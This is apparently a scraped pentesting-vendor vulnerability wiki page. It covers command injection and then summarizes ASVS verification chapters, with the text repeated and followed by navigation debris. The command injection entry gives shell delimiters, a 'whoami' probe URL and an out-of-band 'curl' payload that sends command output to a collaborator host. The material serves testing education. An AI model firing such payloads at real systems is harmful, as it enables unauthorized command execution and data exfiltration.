Command Injection

V5 - Validation / Sanitization

Command Injection

POC

We can inject some special characters to see if the application blocks anything that could be used for command injection:

- &

- ;

- Newline (0x0a or \n)

- &&

- |

- ||

In case the application doesn’t throw any error messages, we can try injecting our command after using one of these delimiters.

https://vulnerable-website/endpoint?parameter=1|whoami

Observe that the parameter parses the command you inject

http://targetsite?id=blahblah;curl+$(whoami).xxxxx.burpcollaborator.net/

Note: This is a broad concept, above payload is just an example

The most common parameters that can be consider while testing for Command injection can be found below:

- cmd

- exec

- command

- execute

- ping

- query

- jump

- code

- reg

- do

- func

- arg

- option

- load

- process

- step

- read

- function

- req

- feature

- exe

- module

- payload

- run

- print

Impact

High

Likelihood

High
V2 - Authentication

Authentication is the act of establishing, or confirming, someone (or something) as authentic and that claims made by a person or about a device are correct, resistant to impersonation, and prevent recovery or interception of passwords.

When the ASVS was first released, username + password was the most common form of authentication outside of high security systems. Multi-factor authentication (MFA) was commonly accepted in security circles but rarely required elsewhere. As the number of password breaches increased, the idea that usernames are somehow confidential and passwords unknown, rendered many security controls untenable. For example, NIST 800-63 considers usernames and knowledge based authentication (KBA) as public information, SMS and email notifications as "restricted" authenticator types , and passwords as pre-breached. This reality renders knowledge based authenticators, SMS and email recovery, password history, complexity, and rotation controls useless. These controls always have been less than helpful, often forcing users to come up with weak passwords every few months, but with the release of over 5 billion username and password breaches, it's time to move on.

Of all the sections in the ASVS, the authentication and session management chapters have changed the most. Adoption of effective, evidence-based leading practice will be challenging for many, and that's perfectly okay. We have to start the transition to a post-password future now.
V3 - Session management
One of the core components of any web-based application or stateful API is the mechanism by which it controls and maintains the state for a user or device interacting with it. Session management changes a stateless protocol to stateful, which is critical for differentiating different users or devices.

Ensure that a verified application satisfies the following high-level session management requirements:
- Sessions are unique to each individual and cannot be guessed or shared
- Sessions are invalidated when no longer required and timed out during periods of inactivity.
As previously noted, these requirements have been adapted to be a compliant subset of selected NIST 800-63b controls, focused around common threats and commonly exploited authentication weaknesses. Previous verification requirements have been retired, de-duped, or in most cases adapted to be strongly aligned with the intent of mandatory NIST 800-63b requirements.
V4 - Access control

Authorization is the concept of allowing access to resources only to those permitted to use them. Ensure that a verified application satisfies the following high level requirements:

• Persons accessing resources hold valid credentials to do so.

• Users are associated with a well-defined set of roles and privileges.

• Role and permission metadata is protected from replay or tampering.
V6 - Cryptography

Ensure that a verified application satisfies the following high level requirements:

• All cryptographic modules fail in a secure manner and that errors are handled correctly.

• A suitable random number generator is used.

• Access to keys is securely managed
- Weak TLS configuration - Padding Oracle
V7 - Error Logging

The primary objective of error handling and logging is to provide useful information for the user, administrators, and incident response teams. The objective is not to create massive amounts of logs, but high quality logs, with more signal than discarded noise.

High quality logs will often contain sensitive data, and must be protected as per local data privacy laws or directives. This should include:

• Not collecting or logging sensitive information unless specifically required.

• Ensuring all logged information is handled securely and protected as per its data classification.

• Ensuring that logs are not stored forever, but have an absolute lifetime that is as short as possible.

If logs contain private or sensitive data, the definition of which varies from country to country, the logs become some of the most sensitive information held by the application and thus very attractive to attackers in their own right.

It is also important to ensure that the application fails securely and that errors do not disclose unnecessary information.
V8 - Data Protection

There are three key elements to sound data protection: Confidentiality, Integrity and Availability (CIA). This standard assumes that data protection is enforced on a trusted system, such as a server, which has been hardened and has sufficient protections.

Applications have to assume that all user devices are compromised in some way. Where an application transmits or stores sensitive information on insecure devices, such as shared computers, phones and tablets, the application is responsible for ensuring data stored on these devices is encrypted and cannot be easily illicitly obtained, altered or disclosed.

Ensure that a verified application satisfies the following high level data protection requirements:

• Confidentiality: Data should be protected from unauthorized observation or disclosure both in transit and when stored.

• Integrity: Data should be protected from being maliciously created, altered or deleted by unauthorized attackers.

• Availability: Data should be available to authorized users as required.
V9 - Communications

Ensure that a verified application satisfies the following high level requirements:

• TLS or strong encryption is always used, regardless of the sensitivity of the data being transmitted

• The most recent, leading configuration advice is used to enable and order preferred algorithms and ciphers

• Weak or soon to be deprecated algorithms and ciphers are ordered as a last resort

• Deprecated or known insecure algorithms and ciphers are disabled.

Leading industry advice on secure TLS configuration changes frequently, often due to catastrophic breaks in existing algorithms and ciphers. Always use the most recent versions of TLS configuration review tools (such as SSLyze or other TLS scanners) to configure the preferred order and algorithm selection. Configuration should be periodically checked to ensure that secure communications configuration is always present and effective.
- Weak TLS configuration - Sensitive Information Sent via Unencrypted Channels
- Weak TLS configuration - weak ciphers
V10 - Malicious Code

Ensure that code satisfies the following high level requirements:

• Malicious activity is handled securely and properly to not affect the rest of the application.

• Does not have time bombs or other time-based attacks.

• Does not "phone home" to malicious or unauthorized destinations.

• Does not have back doors, Easter eggs, salami attacks, rootkits, or unauthorized code that can be controlled by an attacker.

Finding malicious code is proof of the negative, which is impossible to completely validate. Best efforts should be undertaken to ensure that the code has no inherent malicious code or unwanted functionality.
- Subdomain Takeover
V11 - Business Logic

Ensure that a verified application satisfies the following high level requirements:

• The business logic flow is sequential, processed in order, and cannot be bypassed.

• Business logic includes limits to detect and prevent automated attacks, such as continuous small funds transfers, or adding a million friends one at a time, and so on.

• High value business logic flows have considered abuse cases and malicious actors, and have protections against spoofing, tampering, repudiation, information disclosure, and elevation of privilege attacks.
V12 - Files Resources

Ensure that a verified application satisfies the following high level requirements:

• Untrusted file data should be handled accordingly and in a secure manner.

• Untrusted file data obtained from untrusted sources are stored outside the web root and with limited permissions.
V13 - API

Ensure that a verified application that uses trusted service layer APIs (commonly using JSON or XML or GraphQL) has:

• Adequate authentication, session management and authorization of all web services.

• Input validation of all parameters that transit from a lower to higher trust level.

• Effective security controls for all API types, including cloud and Serverless API

Please read this chapter in combination with all other chapters at this same level; we no longer duplicate authentication or API session management concerns.
V14 - Config

Ensure that a verified application has:

• A secure, repeatable, automatable build environment.

• Hardened third party library, dependency and configuration management such that out of date or insecure components are not included by the application.

• A secure-by-default configuration, such that administrators and users have to weaken the default security posture.

Configuration of the application out of the box should be safe to be on the Internet, which means a safe out of the box configuration.
INF1 - Network

Now that we’ve classified Application Security Verification Standard (ASVS) findings, we will discuss the infrastructure these applications live within by reviewing the unique challenges and threats that target network architectures. From the exploitation of network credential vulnerabilities to the cached LSA secrets in cleartext and LLMNR Poisoning, this section aims to classify and demystify an array of network vulnerabilities that organizations face today.

The Network Vulnerability Wiki serves as a pivotal resource for IT professionals, security analysts, and anyone vested in the fortification of network defenses. It is structured to not only outline the nature and mechanics of various network vulnerabilities but also to provide actionable insights for their detection, prevention, and remediation. By bridging the gap between theoretical knowledge and practical application, we empower readers with the tools and understanding necessary to anticipate and mitigate network-related security threats. Whether you're fine-tuning your organization's security posture or embarking on a journey to enhance your cybersecurity knowledge, the Network section of the Vulnerability Wiki is your go-to destination for comprehensive, expert-crafted content in the realm of network security.

V5 - Validation / Sanitization

POC

We can inject some special characters to see if the application blocks anything that could be used for command injection:

- &

- ;

- Newline (0x0a or \n)

- &&

- |

- ||

In case the application doesn’t throw any error messages, we can try injecting our command after using one of these delimiters.

https://vulnerable-website/endpoint?parameter=1|whoami

Observe that the parameter parses the command you inject

http://targetsite?id=blahblah;curl+$(whoami).xxxxx.burpcollaborator.net/

Note: This is a broad concept, above payload is just an example

The most common parameters that can be consider while testing for Command injection can be found below:

- cmd

- exec

- command

- execute

- ping

- query

- jump

- code

- reg

- do

- func

- arg

- option

- load

- process

- step

- read

- function

- req

- feature

- exe

- module

- payload

- run

- print

Impact

High

Likelihood

High

V2 - Authentication

Authentication is the act of establishing, or confirming, someone (or something) as authentic and that claims made by a person or about a device are correct, resistant to impersonation, and prevent recovery or interception of passwords.

When the ASVS was first released, username + password was the most common form of authentication outside of high security systems. Multi-factor authentication (MFA) was commonly accepted in security circles but rarely required elsewhere. As the number of password breaches increased, the idea that usernames are somehow confidential and passwords unknown, rendered many security controls untenable. For example, NIST 800-63 considers usernames and knowledge based authentication (KBA) as public information, SMS and email notifications as "restricted" authenticator types , and passwords as pre-breached. This reality renders knowledge based authenticators, SMS and email recovery, password history, complexity, and rotation controls useless. These controls always have been less than helpful, often forcing users to come up with weak passwords every few months, but with the release of over 5 billion username and password breaches, it's time to move on.

Of all the sections in the ASVS, the authentication and session management chapters have changed the most. Adoption of effective, evidence-based leading practice will be challenging for many, and that's perfectly okay. We have to start the transition to a post-password future now.

V3 - Session management

One of the core components of any web-based application or stateful API is the mechanism by which it controls and maintains the state for a user or device interacting with it. Session management changes a stateless protocol to stateful, which is critical for differentiating different users or devices.

Ensure that a verified application satisfies the following high-level session management requirements:

Sessions are unique to each individual and cannot be guessed or shared
Sessions are invalidated when no longer required and timed out during periods of inactivity.

As previously noted, these requirements have been adapted to be a compliant subset of selected NIST 800-63b controls, focused around common threats and commonly exploited authentication weaknesses. Previous verification requirements have been retired, de-duped, or in most cases adapted to be strongly aligned with the intent of mandatory NIST 800-63b requirements.

V4 - Access control

Authorization is the concept of allowing access to resources only to those permitted to use them. Ensure that a verified application satisfies the following high level requirements:

• Persons accessing resources hold valid credentials to do so.

• Users are associated with a well-defined set of roles and privileges.

• Role and permission metadata is protected from replay or tampering.

V6 - Cryptography

Ensure that a verified application satisfies the following high level requirements:

• All cryptographic modules fail in a secure manner and that errors are handled correctly.

• A suitable random number generator is used.

• Access to keys is securely managed

V7 - Error Logging

The primary objective of error handling and logging is to provide useful information for the user, administrators, and incident response teams. The objective is not to create massive amounts of logs, but high quality logs, with more signal than discarded noise.

High quality logs will often contain sensitive data, and must be protected as per local data privacy laws or directives. This should include:

• Not collecting or logging sensitive information unless specifically required.

• Ensuring all logged information is handled securely and protected as per its data classification.

• Ensuring that logs are not stored forever, but have an absolute lifetime that is as short as possible.

If logs contain private or sensitive data, the definition of which varies from country to country, the logs become some of the most sensitive information held by the application and thus very attractive to attackers in their own right.

It is also important to ensure that the application fails securely and that errors do not disclose unnecessary information.

V8 - Data Protection

There are three key elements to sound data protection: Confidentiality, Integrity and Availability (CIA). This standard assumes that data protection is enforced on a trusted system, such as a server, which has been hardened and has sufficient protections.

Applications have to assume that all user devices are compromised in some way. Where an application transmits or stores sensitive information on insecure devices, such as shared computers, phones and tablets, the application is responsible for ensuring data stored on these devices is encrypted and cannot be easily illicitly obtained, altered or disclosed.

Ensure that a verified application satisfies the following high level data protection requirements:

• Confidentiality: Data should be protected from unauthorized observation or disclosure both in transit and when stored.

• Integrity: Data should be protected from being maliciously created, altered or deleted by unauthorized attackers.

• Availability: Data should be available to authorized users as required.

V9 - Communications

Ensure that a verified application satisfies the following high level requirements:

• TLS or strong encryption is always used, regardless of the sensitivity of the data being transmitted

• The most recent, leading configuration advice is used to enable and order preferred algorithms and ciphers

• Weak or soon to be deprecated algorithms and ciphers are ordered as a last resort

• Deprecated or known insecure algorithms and ciphers are disabled.

Leading industry advice on secure TLS configuration changes frequently, often due to catastrophic breaks in existing algorithms and ciphers. Always use the most recent versions of TLS configuration review tools (such as SSLyze or other TLS scanners) to configure the preferred order and algorithm selection. Configuration should be periodically checked to ensure that secure communications configuration is always present and effective.

V10 - Malicious Code

Ensure that code satisfies the following high level requirements:

• Malicious activity is handled securely and properly to not affect the rest of the application.

• Does not have time bombs or other time-based attacks.

• Does not "phone home" to malicious or unauthorized destinations.

• Does not have back doors, Easter eggs, salami attacks, rootkits, or unauthorized code that can be controlled by an attacker.

Finding malicious code is proof of the negative, which is impossible to completely validate. Best efforts should be undertaken to ensure that the code has no inherent malicious code or unwanted functionality.

V11 - Business Logic

Ensure that a verified application satisfies the following high level requirements:

• The business logic flow is sequential, processed in order, and cannot be bypassed.

• Business logic includes limits to detect and prevent automated attacks, such as continuous small funds transfers, or adding a million friends one at a time, and so on.

• High value business logic flows have considered abuse cases and malicious actors, and have protections against spoofing, tampering, repudiation, information disclosure, and elevation of privilege attacks.

V12 - Files Resources

Ensure that a verified application satisfies the following high level requirements:

• Untrusted file data should be handled accordingly and in a secure manner.

• Untrusted file data obtained from untrusted sources are stored outside the web root and with limited permissions.

V13 - API

Ensure that a verified application that uses trusted service layer APIs (commonly using JSON or XML or GraphQL) has:

• Adequate authentication, session management and authorization of all web services.

• Input validation of all parameters that transit from a lower to higher trust level.

• Effective security controls for all API types, including cloud and Serverless API

Please read this chapter in combination with all other chapters at this same level; we no longer duplicate authentication or API session management concerns.

V14 - Config

Ensure that a verified application has:

• A secure, repeatable, automatable build environment.

• Hardened third party library, dependency and configuration management such that out of date or insecure components are not included by the application.

• A secure-by-default configuration, such that administrators and users have to weaken the default security posture.

Configuration of the application out of the box should be safe to be on the Internet, which means a safe out of the box configuration.

INF1 - Network

Learn how software development company Personio takes a strategic approach to pentesting.

State of Pentesting Report

InfoSec & SOC Services

Services Overview

By Use Case

Solutions Overview

The Responsible AI Imperative

Pentesting in 2025

State of Pentesting Report

InfoSec & SOC Services

Services Overview

By Use Case

Solutions Overview

The Responsible AI Imperative

Pentesting in 2025

Learn how software development company Personio takes a strategic approach to pentesting.

Your vulnerability dictionary!

Command Injection

POC

Impact

Likelihood

V5 - Validation / Sanitization

Command Injection

POC

Impact

Likelihood

V2 - Authentication

V3 - Session management

V4 - Access control

V6 - Cryptography

V7 - Error Logging

V8 - Data Protection

V9 - Communications

V10 - Malicious Code

V11 - Business Logic

V12 - Files Resources

V13 - API

V14 - Config

INF1 - Network

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V5 - Validation / Sanitization

V2 - Authentication

V2 - Authentication

V2 - Authentication